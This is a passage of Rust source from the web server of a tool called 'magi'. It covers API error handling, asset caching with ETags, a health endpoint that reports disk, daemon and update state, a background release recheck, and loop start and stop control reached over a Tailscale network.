1737/// CGNAT block Tailscale assigns from, and anything else on that output would
1738/// be a different tool answering.
1739fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1740    let out = std::process::Command::new("tailscale")
1741        .args(["ip", "-4"])
1742        .quiet()
1743        .output()
1744        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1745    if !out.status.success() {
1746        let why = String::from_utf8_lossy(&out.stderr);
1747        let why = why.trim();
1748        return Err(format!(
1749            "`tailscale ip -4` failed ({}){}",
1750            out.status,
1751            if why.is_empty() {
1752                String::new()
1753            } else {
1754                format!(": {why}")
1755            }
1756        ));
1757    }
1758    String::from_utf8_lossy(&out.stdout)
1759        .lines()
1760        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1761        .find(is_tailnet)
1762        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1763}
1764
1765/// Is this address in the CGNAT block Tailscale hands out from?
1766fn is_tailnet(ip: &Ipv4Addr) -> bool {
1767    let o = ip.octets();
1768    o[0] == 100 && (64..=127).contains(&o[1])
1769}
1770
1771/// What every handler returns. Spelled out because `Result` in this crate is
1772/// `anyhow::Result`, and a handler's error is a status code as much as a
1773/// message.
1774type ApiResult<T> = std::result::Result<T, ApiError>;
1775
1776/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
1777#[derive(Debug)]
1778struct ApiError {
1779    status: StatusCode,
1780    message: String,
1781    text_reason: Option<crate::question_delivery::UnavailableReason>,
1782}
1783
1784impl ApiError {
1785    /// The client asked for something malformed.
1786    fn bad_request(message: impl Into<String>) -> Self {
1787        Self {
1788            text_reason: None,
1789            status: StatusCode::BAD_REQUEST,
1790            message: message.into(),
1791        }
1792    }
1793
1794    /// No such run or task.
1795    fn not_found(message: impl Into<String>) -> Self {
1796        Self {
1797            text_reason: None,
1798            status: StatusCode::NOT_FOUND,
1799            message: message.into(),
1800        }
1801    }
1802
1803    /// Someone else owns the thing the client wants to change.
1804    /// Re-badge an error whose default mapping is wrong for this route.
1805    fn with_status(mut self, status: StatusCode) -> Self {
1806        self.status = status;
1807        self
1808    }
1809
1810    /// A rules violation from a domain type, reported as the caller's fault.
1811    /// `Question::answer` rejects an unoffered choice, and that is a bad
1812    /// request, not a server error.
1813    fn bad_request_from(e: anyhow::Error) -> Self {
1814        Self::bad_request(format!("{e:#}"))
1815    }
1816
1817    fn conflict(message: impl Into<String>) -> Self {
1818        Self {
1819            text_reason: None,
1820            status: StatusCode::CONFLICT,
1821            message: message.into(),
1822        }
1823    }
1824
1825    /// Our fault, or the disk's.
1826    fn internal(message: impl Into<String>) -> Self {
1827        Self {
1828            text_reason: None,
1829            status: StatusCode::INTERNAL_SERVER_ERROR,
1830            message: message.into(),
1831        }
1832    }
1833}
1834
1835impl From<anyhow::Error> for ApiError {
1836    /// Errors from `queue` and `run` carry their context chain, and the whole
1837    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
1838    /// value at line 3" is a message an operator can act on, and there is no
1839    /// secret in a path on a single-user tailnet.
1840    fn from(e: anyhow::Error) -> Self {
1841        Self::internal(format!("{e:#}"))
1842    }
1843}
1844
1845impl IntoResponse for ApiError {
1846    fn into_response(self) -> Response {
1847        let mut body = serde_json::json!({ "error": self.message });
1848        if let Some(reason) = self.text_reason {
1849            body["code"] = serde_json::json!("question_text_unavailable");
1850            body["reason"] = serde_json::json!(reason);
1851        }
1852        (self.status, Json(body)).into_response()
1853    }
1854}
1855
1856/// Run a handler's filesystem work off the executor.
1857///
1858/// Every route that touches the disk goes through here rather than each one
1859/// arguing about whether its own read is small enough. Uniform because the
1860/// expensive case is not rare: `run.json` for a finished competition holds
1861/// every judgement, deliberation turn and review round, so listing a few
1862/// hundred runs is megabytes of parsing, and the executor threads doing it are
1863/// the same ones serving the change stream of every other connected phone.
1864async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1865where
1866    T: Send + 'static,
1867{
1868    #[cfg(test)]
1869    let job = request_cost::carry(job);
1870    match tokio::task::spawn_blocking(job).await {
1871        Ok(result) => result,
1872        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1873    }
1874}
1875
1876/// Cache policy for the three compiled-in front-end files.
1877///
1878/// The whole interface is `include_str!`ed into the binary, so its content
1879/// changes only when the binary does - and a phone that keeps a copy is
1880/// welcome to, right up until the deck is replaced. Without a single cache
1881/// header, browsers were free to invent their own policy, and one did:
1882/// yukimemi's phone went on showing "Candidates must be folded before
1883/// deleting. Run `magi fold` first." - a sentence deleted two releases
1884/// earlier - from a run detail served by a deck that no longer contained it.
1885/// The delete button he was told about was right there, and unreachable.
1886///
1887/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
1888/// every time, the answer is a 304 costing one small round trip while the
1889/// deck is unchanged, and the moment it is replaced the tag differs and the
1890/// new interface arrives. Correctness over bytes - this is one file of a few
1891/// tens of kilobytes on a tailnet, and being a version behind is not a
1892/// cosmetic problem when the difference is whether a button exists.
1893const ASSET_CACHE: &str = "no-cache, must-revalidate";
1894
1895/// `ETag` for the compiled-in assets, distinct per build.
1896///
1897/// The version alone would leave a locally built deck - `cargo install
1898/// --path .` twice at the same version, which is the normal way to iterate -
1899/// serving a stale tag for changed bytes. The build timestamp is what makes
1900/// two builds of `0.3.0` differ.
1901fn asset_etag() -> &'static str {
1902    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1903        format!(
1904            "\"{}-{}\"",
1905            env!("CARGO_PKG_VERSION"),
1906            // Length is a cheap, deterministic stand-in for a hash: the
1907            // three files are compiled in together, so any edit to any of
1908            // them almost certainly changes the total, and a rebuild is what
1909            // this needs to track rather than every possible byte pattern.
1910            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1911        )
1912    });
1913    &TAG
1914}
1915
1916/// Headers for a compiled-in asset of `mime`.
1917fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1918    [
1919        (header::CONTENT_TYPE, mime),
1920        (header::CACHE_CONTROL, ASSET_CACHE),
1921        (header::ETAG, asset_etag()),
1922    ]
1923}
1924
1925/// Serve a compiled-in asset, answering `304` when the client already has it.
1926///
1927/// axum does not compare `If-None-Match` for us, and a header the server sets
1928/// but never honours is worse than none: the phone revalidates on every load
1929/// and is handed the whole file back each time. Doing the comparison is what
1930/// makes `must-revalidate` cost one small round trip rather than the
1931/// interface.
1932fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1933    let tag = asset_etag();
1934    let known = headers
1935        .get(header::IF_NONE_MATCH)
1936        .and_then(|v| v.to_str().ok())
1937        // A revalidating client may send several, and a proxy may weaken the
1938        // tag to `W/"..."`; matching on containment covers both without
1939        // parsing the grammar.
1940        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1941    if known {
1942        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1943    }
1944    (asset_headers(mime), body).into_response()
1945}
1946
1947async fn index(headers: header::HeaderMap) -> Response {
1948    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1949}
1950
1951async fn app_css(headers: header::HeaderMap) -> Response {
1952    asset(&headers, "text/css; charset=utf-8", APP_CSS)
1953}
1954
1955async fn app_js(headers: header::HeaderMap) -> Response {
1956    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1957}
1958
1959/// What `/api/health` answers.
1960#[derive(Debug, Serialize)]
1961struct HealthView {
1962    version: &'static str,
1963    home: String,
1964    queue_rev: u64,
1965    runs_rev: u64,
1966    /// The same revisions [`events`] streams for the question and talk
1967    /// stores.
1968    ///
1969    /// Here because this route is what the front end falls back to when the
1970    /// change stream is not up - it re-polls health on a timer and on wake, and
1971    /// takes the revisions from the answer. Without these the fallback
1972    /// compares `undefined` against `undefined` for both stores, decides
1973    /// nothing moved, and a phone with a dead stream never learns that a
1974    /// question was asked or that a talk took a turn. `queue_rev` and
1975    /// `runs_rev` above have always been here for exactly this reason; the rule
1976    /// is that every revision the stream carries, this route carries too.
1977    questions_rev: u64,
1978    /// See [`HealthView::questions_rev`]. The standing chat's own store.
1979    talks_rev: u64,
1980    /// See [`HealthView::questions_rev`]. The notification centre's store.
1981    notifications_rev: u64,
1982    /// Notifications nobody has read yet: the bell's badge before
1983    /// `/api/notifications` has answered.
1984    notifications_unread: usize,
1985    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
1986    /// is not on disk anywhere, so a phone with no change stream has no other
1987    /// way to notice that the loop it is waiting on was started from another
1988    /// device.
1989    loop_rev: u64,
1990    /// Runs on disk whose state this build cannot parse - almost always a
1991    /// schema bump, occasionally a run killed mid-write.
1992    ///
1993    /// Reported because the list silently skips them, and "no competitions
1994    /// yet" is a lie when six of them are sitting in the runs directory. The
1995    /// terminal deck learned the same lesson: a run that fails to parse must
1996    /// not disappear from the count.
1997    runs_unreadable: usize,
1998    /// The disk, and what the runs and their worktrees occupy on it.
1999    ///
2000    /// This is the incident the janitor exists for: magi alone put 30 GB into
2001    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
2002    /// is exactly where the operator learns "the disk is the constraint" -
2003    /// the diagnosis that a run is being held for want of space has to be
2004    /// checkable on the same screen.
2005    disk: DiskView,
2006    /// Questions nobody has answered yet, including ones an owner talked
2007    /// back on and is now waiting for the agent's reply to. A round trip
2008    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
2009    /// while the ball is in the agent's court - see
2010    /// [`crate::ask::Questions::count_open`].
2011    questions_open: usize,
2012    /// Of those, how many actually need the owner right now: open, and not
2013    /// [`crate::ask::Question::waiting_on_agent`].
2014    ///
2015    /// The one number that means "nothing will happen until a human acts" -
2016    /// a parked run consumes nothing and progresses never - and the count the
2017    /// ask bar, the nav badge and the document title fall back to before
2018    /// `/api/questions` has answered, so those notification channels clear
2019    /// the instant the owner asks back and reappear the instant the agent
2020    /// replies, instead of sitting lit for however long the agent thinks.
2021    questions_needs_owner: usize,
2022    daemon: DaemonView,
2023    /// The loop in this process, exactly what `/api/loop` answers with.
2024    ///
2025    /// Here so a phone that has just woken needs one request to know whether
2026    /// anything is going to happen at all: `daemon` says a loop is alive
2027    /// somewhere, and this says whether it is one this UI can stop.
2028    #[serde(rename = "loop")]
2029    looping: LoopView,
2030    /// Whether a release newer than this build is known, and which.
2031    ///
2032    /// From [`updater::Checker::cached_update`] - the same throttled state the
2033    /// CLI's `notify` mode banners from - never a live check: this route is
2034    /// polled every few seconds, and a live check on each poll would spend
2035    /// GitHub's rate limit before the operator finished reading the strip.
2036    update: UpdateView,
2037    /// The self-upgrade this deck last set in motion, or `null` before the
2038    /// first one. Read off disk, so the successor can report what its
2039    /// predecessor started.
2040    upgrade: Option<UpgradeProgressView>,
2041    upgrade_request_error: Option<UpgradeRequestFailure>,
2042}
2043
2044/// What `/api/health` knows about a release newer than this build.
2045///
2046/// A plain `Option<String>` for `to` could not distinguish "checked, and this
2047/// is already the newest" from "never checked" - both are `None` - and the
2048/// phone needs to tell those apart to decide whether the deck can be trusted
2049/// to have an opinion at all.
2050#[derive(Debug, Serialize)]
2051struct UpdateView {
2052    /// A newer release is known to exist.
2053    available: bool,
2054    /// Its tag, when `available`.
2055    to: Option<String>,
2056}
2057
2058/// [`updater::Progress`] as `/api/health` reports it.
2059#[derive(Debug, Serialize)]
2060struct UpgradeProgressView {
2061    stage: updater::Stage,
2062    from: String,
2063    to: Option<String>,
2064    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
2065    /// the step it is finishing before the address is handed over.
2066    waiting_on: Option<String>,
2067    started_at: Timestamp,
2068    updated_at: Timestamp,
2069    detail: Option<String>,
2070    /// Seconds the stage has outlived its allowance, when it has - see
2071    /// [`updater::stall`]. `null` while the stage is moving normally.
2072    stuck_for_secs: Option<i64>,
2073    /// Which kind of stuck: `never_entered` (hand_over left no record of
2074    /// starting) or `stopped_beating`. `null` when not stuck.
2075    stuck_kind: Option<updater::StallKind>,
2076    /// `hand_over` is alive and waiting on the loop: however long that takes,
2077    /// it is not an overdue upgrade.
2078    handover_alive: bool,
2079}
2080
2081/// Whether [`run_update_recheck`] may act at all this tick.
2082///
2083/// The same two conditions [`updater::Checker::new`] and
2084/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
2085/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
2086/// GitHub from this process" - on a button press or on a timer alike.
2087fn should_spawn_recheck(cfg: &Update) -> bool {
2088    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2089}
2090
2091/// Whether this tick should actually reach the network, once checking itself
2092/// is allowed.
2093///
2094/// An upgrade already in flight must not be raced by a check that discovers
2095/// a *newer* release while one is still installing - a phone watching
2096/// `/api/health` would see the answer change out from under the upgrade it
2097/// already asked for. Past that, [`updater::Checker::should_check`] is the
2098/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
2099/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
2100/// polling period, is what keeps this task's network use to at most once per
2101/// `[update] interval` regardless of how often it wakes up.
2102fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2103    if progress.is_some_and(|p| !p.stage.terminal()) {
2104        return false;
2105    }
2106    checker.should_check()
2107}
2108
2109/// How long [`run_update_recheck`] sleeps before its next wake-up.
2110///
2111/// A fraction of the configured `[update] interval` rather than a fixed
2112/// number: a fixed sleep longer than a short custom interval would leave the
2113/// deck waiting on its own wake-up rather than on `should_check`, so an
2114/// operator who set `interval = "1m"` to make the UI catch up quickly would
2115/// not see that take effect until the next restart - exactly the bug this
2116/// task exists to fix, just moved one level down. Scaling with the interval
2117/// keeps the wake-up prompt relative to what was actually configured, while
2118/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
2119/// still what caps the network calls themselves at one per interval,
2120/// regardless of how often this fires.
2121fn recheck_poll_period(cfg: &Update) -> Duration {
2122    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2123}
2124
2125/// Keep `/api/health`'s `update` field current for as long as `magi web`
2126/// stays up.
2127///
2128/// The CLI's own `spawn_update_check` (`main.rs`) runs once per invocation,
2129/// which is enough for every other command: they exit in seconds. `magi web`
2130/// can run for days, so a single startup check leaves the cache - and the
2131/// phone's "Update & restart" button, which reads it via
2132/// [`cached_update_view`] - frozen on whatever that one look found, however
2133/// many releases ship afterwards. This is what notices the rest of them,
2134/// re-reading the config each tick so a `magi.toml` edit while the server is
2135/// up takes effect without a restart, the same way every other route here
2136/// already does - both for whether checking is on at all and for how long
2137/// the next sleep should be.
2138///
2139/// Not [`updater::spawn`]'s `auto_update` path, even under `mode =
2140/// "install"`: swapping the running binary out from under a task or a run
2141/// mid-node is exactly what `hand_over`'s parking exists to do deliberately,
2142/// not as a side effect of a timer nobody asked to fire. This only ever
2143/// calls [`updater::Checker::newer_release`], which refreshes
2144/// `last_update_check.json` and nothing else - so under `mode = "install"`
2145/// this behaves like `notify` for as long as the deck stays up, and an
2146/// actual self-install still happens exactly where it always has: once, at
2147/// the next process start.
2148async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
2149    loop {
2150        let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
2151        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2152        if !should_spawn_recheck(&cfg.update) {
2153            continue;
2154        }
2155        let Some(checker) = updater::Checker::new(&cfg.update) else {
2156            continue;
2157        };
2158        let progress = updater::read_progress(&home);
2159        if !update_recheck_due(&checker, progress.as_ref()) {
2160            continue;
2161        }
2162        if let Err(e) = checker.newer_release().await {
2163            tracing::warn!("background update recheck failed: {e:#}");
2164        }
2165    }
2166}
2167
2168/// [`UpdateView`] from the same throttled, disk-only state
2169/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
2170/// never a live check. `[update] mode = "off"` answers "unknown" the same as
2171/// no cached state at all, which is correct: an operator who turned checking
2172/// off gets no opinion, not a stale one.
2173fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2174    let default;
2175    let cfg = match cfg {
2176        Some(cfg) => cfg,
2177        None => {
2178            default = Config::default();
2179            &default
2180        }
2181    };
2182    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2183    match latest {
2184        Some(latest) => UpdateView {
2185            available: true,
2186            to: Some(latest.tag_name),
2187        },
2188        None => UpdateView {
2189            available: false,
2190            to: None,
2191        },
2192    }
2193}
2194
2195/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
2196/// from the parked run's own state when the stage is
2197/// [`updater::Stage::Parking`] - the run and the node it is finishing are
2198/// already on disk in `run.json`, so this reads them fresh rather than
2199/// trusting whatever was true the moment the park was requested.
2200fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2201    let now = Timestamp::now();
2202    let lease = updater::read_lease(&ui.home);
2203    let alive = updater::live_lease(&progress, lease.as_ref(), now);
2204    let run_id = alive
2205        .and_then(|l| l.parked_run.as_deref())
2206        .or(progress.parked_run.as_deref());
2207    let parking = progress.stage == updater::Stage::Parking;
2208    let waited = alive.map_or_else(String::new, |l| {
2209        let secs = updater::waited_secs(l, now);
2210        format!(" (waited {} min so far)", secs / 60)
2211    });
2212    let run_text = run_id
2213        .filter(|_| parking)
2214        .map(|id| match read_run(&ui.runs, id).ok() {
2215            Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2216            None => format!("run {id} is finishing"),
2217        });
2218    let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2219        .filter(|t| parking && !t.is_empty())
2220        .map(|t| format!("{t} finishing"));
2221    let waiting_on = match (run_text, talks_text) {
2222        (None, None) => None,
2223        (run, talks) => {
2224            let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2225            Some(format!(
2226                "{} before the address is handed over{waited}",
2227                parts.join(" and ")
2228            ))
2229        }
2230    };
2231    let detail = progress
2232        .detail
2233        .clone()
2234        .or_else(|| updater::read_note(&ui.home, &progress));
2235    let stalled = updater::stall(&progress, lease.as_ref(), now);
2236    let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2237    UpgradeProgressView {
2238        stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2239        stuck_kind: stalled.map(|s| s.kind),
2240        handover_alive: alive.is_some(),
2241        stage: progress.stage,
2242        from: progress.from,
2243        to: progress.to,
2244        waiting_on,
2245        started_at: progress.started_at,
2246        updated_at: progress.updated_at,
2247        detail,
2248    }
2249}
2250
2251/// The disk figures `/api/health` carries. Every number is produced by
2252/// [`crate::disk`], the same code that decides a run may not start, so the
2253/// health screen and the gate cannot disagree about what the machine looks
2254/// like.
2255#[derive(Debug, Serialize)]
2256struct DiskView {
2257    /// Free bytes on the volume holding the runs, when measurable.
2258    #[serde(skip_serializing_if = "Option::is_none")]
2259    free_bytes: Option<u64>,
2260    /// Everything the runs directory occupies, unreadable runs included.
2261    runs_bytes: u64,
2262    /// Everything the runs' worktrees occupy.
2263    worktrees_bytes: u64,
2264    /// The shared build cache's size, when the config names one.
2265    #[serde(skip_serializing_if = "Option::is_none")]
2266    cache_bytes: Option<u64>,
2267}
2268
2269impl DiskView {
2270    /// Measure the three directories and re-read the config's cache.
2271    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2272        let cache_bytes = cfg
2273            .and_then(|cfg| cfg.cache_dir())
2274            .map(|dir| crate::disk::dir_size(&dir));
2275        Self {
2276            free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2277            runs_bytes: crate::disk::dir_size(&ui.runs),
2278            worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2279            cache_bytes,
2280        }
2281    }
2282}
2283
2284/// The daemon's state as the UI presents it.
2285#[derive(Debug, Serialize)]
2286struct DaemonView {
2287    running: bool,
2288    idle: Option<bool>,
2289    pid: Option<u32>,
2290    /// Every task and run currently in flight. Empty when idle; more than
2291    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
2292    /// run going at once.
2293    current: Vec<daemon::Current>,
2294    completed: Option<u64>,
2295    stale_for_secs: Option<i64>,
2296}
2297
2298impl DaemonView {
2299    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
2300    /// not this UI's — a crashed daemon must not look alive here while
2301    /// `doctor` calls it dead.
2302    fn of(status: Option<daemon::Reading>) -> Self {
2303        let Some(status) = status else {
2304            return Self {
2305                running: false,
2306                idle: None,
2307                pid: None,
2308                current: Vec::new(),
2309                completed: None,
2310                stale_for_secs: None,
2311            };
2312        };
2313        let now = Timestamp::now();
2314        let age = status.age_secs(now);
2315        Self {
2316            running: status.running(now),
2317            idle: Some(status.idle),
2318            pid: status.pid,
2319            current: status.current,
2320            completed: Some(status.completed),
2321            stale_for_secs: age,
2322        }
2323    }
2324}
2325
2326async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2327    blocking(move || {
2328        // One read of the status file for the two fields that describe it, so
2329        // `daemon` and `loop` in the same answer cannot disagree about who is
2330        // running the loop.
2331        let reading = daemon::read_status(&ui.home);
2332        // Read on its own line, not inside the literal below: the loop's lock
2333        // is not reentrant, and a guard taken as a temporary there would still
2334        // be held when `loop_view` took it again.
2335        let loop_rev = ui.lock_loop().rev;
2336        // One discover for both views: each is a few git processes plus a
2337        // config render, and neither depends on anything the other reads.
2338        let cfg = deputy_config(&ui.repo);
2339        let update = cached_update_view(cfg.as_ref());
2340        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2341        Ok(Json(HealthView {
2342            version: env!("CARGO_PKG_VERSION"),
2343            home: ui.home.display().to_string(),
2344            queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
2345            runs_rev: runs_revision(&ui.runs),
2346            questions_rev: ui.questions.revision(),
2347            talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2348            notifications_rev: ui.notices.revision(),
2349            notifications_unread: ui.notices.count_unread(),
2350            loop_rev,
2351            runs_unreadable: runs_unreadable(&ui.runs),
2352            questions_open: ui.questions.count_open(),
2353            questions_needs_owner: ui.questions.count_needs_owner(),
2354            daemon: DaemonView::of(reading.clone()),
2355            looping: ui.loop_view(reading),
2356            disk: DiskView::of(&ui, cfg.as_ref()),
2357            update,
2358            upgrade,
2359            upgrade_request_error: ui
2360                .upgrade_request_error
2361                .lock()
2362                .unwrap_or_else(PoisonError::into_inner)
2363                .clone(),
2364        }))
2365    })
2366    .await
2367}
2368
2369/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
2370#[derive(Debug, Serialize)]
2371struct LoopView {
2372    /// A loop is running in *this* process.
2373    running: bool,
2374    /// It has been asked to stop and is still finishing a run.
2375    ///
2376    /// [`daemon::Stop::finishing`]'s answer rather than "the flag is set",
2377    /// because the two differ exactly where it matters: a loop asked to stop
2378    /// while idle is gone within one poll interval, and one asked to stop
2379    /// mid-run keeps going for as long as the graph takes. The operator needs
2380    /// to be told which of those they are waiting for.
2381    stopping: bool,
2382    /// A park was asked for: the run in flight stops at its next node
2383    /// boundary rather than finishing.
2384    ///
2385    /// Separate from `stopping` because the two promise different waits. A
2386    /// stop is "when this competition ends", which can be an hour; a park is
2387    /// "after the step it is on", which is minutes and is what an operator
2388    /// waiting to replace the binary needs to see.
2389    parking: bool,
2390    /// The loop is this process's own.
2391    ///
2392    /// Spelled separately from `running` for the front end's sake, even
2393    /// though inside this process the two move together: `running: false`
2394    /// with `daemon.running: true` is the case where the operator's own `magi
2395    /// serve` owns the loop, and `owned` is the field that tells the UI its
2396    /// buttons have to explain that rather than pretend.
2397    owned: bool,
2398    /// Repository the loop uses for tasks that name none - what it was
2399    /// started with while it runs, and what a start would use before that.
2400    repo: String,
2401    /// Merge mode override in force, or `null` when each repository's own
2402    /// config decides.
2403    merge: Option<String>,
2404    /// Why the last loop in this process ended, when it ended badly.
2405    ///
2406    /// The only place a crashed loop is visible to someone holding a phone.
2407    /// It is logged at error level as well, but a terminal nobody kept open
2408    /// is not a report, and a loop that died at 3am must not read as merely
2409    /// stopped in the morning. Named as [`Task::last_error`] is, because it
2410    /// answers the same question about the same kind of failure.
2411    last_error: Option<String>,
2412    /// The status file, judged the same way `/api/health` judges it: this is
2413    /// what says whether a loop is alive in some *other* process.
2414    daemon: DaemonView,
2415}
2416
2417/// A loop another process already owns.
2418///
2419/// `<home>/daemon.json` is the only cross-process signal there is, so this is
2420/// the whole of the test: a heartbeat no older than [`daemon::STALE_SECS`],
2421/// published by a pid that is not ours. Excluding our own pid is what makes
2422/// stopping work at all - the loop this process runs writes that file too, so
2423/// a check that ignored the pid would decide the operator's own UI was a
2424/// stranger and refuse to stop the loop it had just started.
2425#[derive(Debug, Clone, Copy)]
2426struct Foreign {
2427    /// The pid the other process published, when it published one.
2428    pid: Option<u32>,
2429}
2430
2431impl Foreign {
2432    /// Another process's live loop, or `None` when this process is free to
2433    /// run one.
2434    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2435        // A fresh heartbeat with no pid in it is still evidence of a live
2436        // daemon. "Some other process" is the honest answer, and refusing
2437        // to start beside it is the safe one.
2438        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2439    }
2440
2441    /// How a conflict names it. The pid is the whole point of the message: it
2442    /// is what the operator needs to find the terminal that owns the loop.
2443    fn who(&self) -> String {
2444        match self.pid {
2445            Some(pid) => format!("another magi process (pid {pid})"),
2446            None => "another magi process".to_owned(),
2447        }
2448    }
2449}
2450
2451/// How a loop is started, as a future this module can hold onto.
2452///
2453/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
2454/// trait object or a hand-written `Debug` impl for the sake of one seam.
2455type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2456
2457/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
2458fn launch_daemon(
2459    opts: daemon::Opts,
2460    stop: daemon::Stop,
2461) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2462    Box::pin(daemon::serve_until(opts, stop))
2463}
2464
2465/// The loop this process runs, behind one lock.
2466#[derive(Debug, Default)]
2467struct LoopState {
2468    /// The loop, while there is one.
2469    live: Option<Live>,
2470    /// Bumped on every change to this struct, and streamed as `loop_rev`.
2471    ///
2472    /// The loop is in-process state rather than a file, so nothing on disk
2473    /// would tell a second phone that the first one started it. Without this
2474    /// counter the only way to learn about a start, a stop request or a crash
2475    /// would be to poll `/api/loop`, which is the thing the change stream
2476    /// exists to avoid on a mobile link.
2477    rev: u64,
2478    /// Why the last loop ended, when it ended badly. See
2479    /// [`LoopView::last_error`].
2480    last_error: Option<String>,
2481    /// The loop was running (and not already stopping) when the last upgrade
2482    /// parked it, so the successor should start one. Set afresh by every
2483    /// [`Ui::park_for_upgrade`], cleared by an explicit stop and by a failed
2484    /// update.
2485    resume_after_handover: bool,
2486}
2487
2488/// A loop in flight.
2489#[derive(Debug)]
2490struct Live {
2491    /// The cooperative stop, shared with the loop task.
2492    stop: daemon::Stop,
2493    /// The task itself, kept only to answer whether it is still there: a loop
2494    /// that panicked never records its own end, and without this the view
2495    /// would go on reporting a loop that no longer exists - the one lie that
2496    /// would leave the operator with no button to press.
2497    handle: tokio::task::JoinHandle<()>,
2498    /// What the loop was started with, so the view reports the repository and
2499    /// merge mode its runs will actually use rather than what an edit to the
2500    /// config since would give.
2501    opts: daemon::Opts,
2502}
2503
2504impl Live {
2505    /// Is the task still there? See [`Live::handle`].
2506    fn alive(&self) -> bool {
2507        !self.handle.is_finished()
2508    }
2509}
2510
2511/// Take the loop lock, recovering from a poisoned one.
2512///
2513/// What this mutex holds is a stop flag, a task handle and two counters, none
2514/// of which a panic elsewhere can leave in a state worth refusing to read.
2515/// Propagating the poison instead would mean an operator who can see the loop
2516/// running and can no longer stop it from the only surface they have.
2517fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2518    state.lock().unwrap_or_else(PoisonError::into_inner)
2519}
2520
2521/// `GET /api/loop`.
2522async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2523    blocking(move || {
2524        let reading = daemon::read_status(&ui.home);
2525        Ok(Json(ui.loop_view(reading)))
2526    })
2527    .await
2528}
2529
2530/// The body of `POST /api/loop`.
2531///
2532/// One required field and nothing else: no `default` and no unknown fields,
2533/// so a body that fails to say which way the switch was flipped is a 400
2534/// rather than a tap that quietly does the opposite of what was pressed.
2535#[derive(Debug, Deserialize)]
2536#[serde(deny_unknown_fields)]
2537struct LoopCommand {
2538    running: bool,
2539    /// Stop the run in flight at its next node boundary rather than letting it
2540    /// finish.
2541    ///
2542    /// Defaults to false, so the plain stop keeps meaning what it meant: a
2543    /// competition is tens of minutes of paid work and finishing it is
2544    /// normally the cheapest thing to do. A park is for the operator who
2545    /// wants the process gone now - to replace the binary, most of all - and
2546    /// it costs at most the node in progress because every node writes its
2547    /// state before the next one starts.
2548    #[serde(default)]
2549    park: bool,
2550}
2551
2552/// `POST /api/loop` - start the loop in this process, or ask it to stop.
2553///
2554/// Answers with the view rather than waiting for the loop to reach the state
2555/// that was asked for. Starting is immediate anyway; stopping is not, and the
2556/// wait is a run's worth of minutes, which is not a thing to hold a phone's
2557/// request open for. `stopping` in the answer is what the operator watches
2558/// instead.
2559async fn loop_post(
2560    State(ui): State<Arc<Ui>>,
2561    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2562) -> ApiResult<Json<LoopView>> {
2563    // Taken as a `Result` so a malformed body is a 400 like every other route
2564    // here, rather than axum's default 422 that the UI has no branch for.
2565    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2566    blocking(move || {
